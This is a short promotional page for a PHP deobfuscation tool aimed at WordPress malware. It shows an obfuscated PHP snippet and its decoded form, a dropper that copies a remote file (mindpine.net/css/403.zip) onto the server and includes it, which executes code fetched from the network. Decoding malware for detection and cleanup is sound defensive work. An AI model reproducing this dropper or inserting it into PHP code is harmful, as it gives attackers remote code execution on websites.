PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $O00OO0=urldecode("%78%34%63%6F%2F%70%39%79%71%6E%64%2D%6C%72%6B%64%67%5F%65%68%63%73%77%6F%2B%66%33%37%6A%66%69%6C%65%66%64%66%64%73%70%75%74%64%66%64%63%6F%6E%64%73%74%65%6E%6D%71%76%75");$O00O0O=$O00OO0[44].$O00OO0[23].$O00OO0[38].$O00OO0[7];$O00OO1=urldecode("http%3A%2F%2Fmindpine.net%2...

Obfuscated php code

<?php $O00OO0=urldecode("%78%34%63%6F%2F%70%39%79%71%6E%64%2D%6C%72%6B%64%67%5F%65%68%63%73%77%6F%2B%66%33%37%6A%66%69%6C%65%66%64%66%64%73%70%75%74%64%66%64%63%6F%6E%64%73%74%65%6E%6D%71%76%75");$O00O0O=$O00OO0[44].$O00OO0[23].$O00OO0[38].$O00OO0[7];$O00OO1=urldecode("http%3A%2F%2Fmindpine.net%2Fcss%2F403.zip");$O00OO2="4"."0"."3"."zip";$O00O0O($O00OO1,$O00OO2);include $O00OO2;?>

Decoded(de-Obfuscated) php code

<?php

$O00OO0 = "x4co/p9yqnd-lrkdg_ehcswo+f37jfilefdfdsputdfdcondstenmqvu";
$O00O0O = "copy";
$O00OO1 = "http://mindpine.net/css/403.zip";
$O00OO2 = "403zip";
copy($O00OO1, $O00OO2);
include $O00OO2;

Malware detection & removal plugin for WordPress